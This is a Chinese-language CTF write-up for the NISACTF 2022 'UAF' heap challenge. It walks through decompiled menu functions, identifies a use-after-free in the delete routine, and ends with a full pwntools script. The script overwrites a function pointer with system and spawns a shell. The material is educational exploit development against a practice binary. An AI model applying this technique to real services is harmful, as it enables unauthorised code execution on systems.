[NISACTF 2022]UAF

1.准备

2.分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
_DWORD v3[4]; // [esp+8h] [ebp-10h] BYREF

v3[1] = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
while ( 1 )
{
while ( 1 )
{
puts("1.create");
puts("2.edit");
puts("3.delete");
puts("4.show");
putchar(58);
__isoc99_scanf("%d", v3);
if ( v3[0] != 2 )
break;
edit();
}
if ( v3[0] > 2 )
{
if ( v3[0] == 3 )
{
del();
}
else if ( v3[0] == 4 )
{
show();
}
else
{
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3[0] != 1 )
goto LABEL_13;
create();
}
}
}

一个堆题正常的菜单,有增删改查功能,依次查看

1-create(add)函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int create()
{
int i; // eax
int i_1; // ebx
char *page; // eax

printf("you are creating the %d page\n", i);
i = i;
if ( i >= 0 )
{
i = i;
if ( i <= 9 )
{
i_1 = i;
(&page)[i_1] = (char *)malloc(8u);
if ( i )
{
if ( i <= 0 || i > 9 )
{
return puts("NO PAGE");
}
else
{
puts("Good cretation!");
return ++i;
}
}
else
{
page = page;
*(_DWORD *)page = 1868654951;
page[4] = 0;
*((_DWORD *)page + 1) = echo;
puts("The init page");
return ++i;
}
}
}
return i;
}

这里是添加堆块,固定了堆块的大小,并在申请的chunk内容从开始算,加上4个字节处写上echo函数地址

3-del(delete)函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned int del()
{
int i; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &i);
if ( i < 0 || i > i )
puts("NO PAGE");
else
free((&page)[i]);
return __readgsdword(0x14u) ^ v2;
}

这里释放后,没修改指针,存在UAF漏洞

4-show函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned int show()
{
int i; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &i);
if ( i )
{
if ( i <= 0 || i > i )
puts("NO PAGE");
else
echo((&page)[i]);
}
else
{
(*((void (__cdecl **)(char *))page + 1))(page);
}
return __readgsdword(0x14u) ^ v2;
}

这里大于0时,会输出堆块内容,当为0时,会调用page数组中的的二个位置(也就是创建堆块时echo函数地址存储的地方)

2-edit函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int edit()
{
int i; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &i);
if ( i <= 0 || i > i )
{
puts("NO PAGE");
}
else
{
puts("Input your strings");
__isoc99_scanf("%s", (&page)[i]);
}
return __readgsdword(0x14u) ^ v2;
}

这里修改堆块数据,不能修改堆块0的内容

system函数

3.思路

这题有UAF,有system函数,没直接的连接路径,show0块的时候会调用page数组中的的二个位置(也就是创建堆块时echo函数地址存储的地方),但edit不能修改0块内容
所以我们可以通过先创建0块,释放后,在创建1块,使下标0和下标1同时指向一个块(因为UAF,释放后没修改指针)
此时去构造system(‘sh’)(32位程序,/bin/sh会覆盖掉写入的system地址),获得连接
创建0块,释放后,在申请回来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.log_level = "debug"
# io=remote('node4.anna.nssctf.cn',28441)
io= process('/home/motaly/uaf')
elf=ELF('/home/motaly/uaf')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def add():
io.sendlineafter(":", "1")

def delete(index):
io.sendlineafter(":", "3")
io.sendlineafter("Input page", str(index))

def show(idx):
io.sendlineafter(":", "4")
io.sendlineafter("Input page", str(idx).encode())

def edit(index, content):
io.sendlineafter(':','2')
io.sendlineafter('Input page',str(index))
io.sendlineafter('Input your strings',content)

add()
delete(0)
add()


前面开始内容写入,后面是echo函数地址,show0块时调用的就是echo函数地址这里
此时下标0和下标1同时指向一个块(因为UAF,释放后没修改指针),下面我们对1块和0块的操作,其实都是对同一块的操作
接着修改1块的内容为sh和system地址

1
2
3
4
5
add() 
delete(0)
add()

edit(1, b'sh\x00\x00' + p32(elf.sym['system'])) //\x00\x00补齐作用


最后输出0块,会调用system函数,触发连接

1
2
3
4
5
6
7
8
add()
delete(0)
add()

edit(1, b'sh\x00\x00' + p32(elf.sym['system']))

show(0)
io.interactive()

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context.log_level = "debug"
# io=remote('node4.anna.nssctf.cn',28441)
io= process('/home/motaly/uaf')
elf=ELF('/home/motaly/uaf')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def add():
io.sendlineafter(":", "1")

def delete(index):
io.sendlineafter(":", "3")
io.sendlineafter("Input page", str(index))

def show(idx):
io.sendlineafter(":", "4")
io.sendlineafter("Input page", str(idx).encode())

def edit(index, content):
io.sendlineafter(':','2')
io.sendlineafter('Input page',str(index))
io.sendlineafter('Input your strings',content)

add()
delete(0)
add()

edit(1, b'sh\x00\x00' + p32(elf.sym['system']))

show(0)
io.interactive()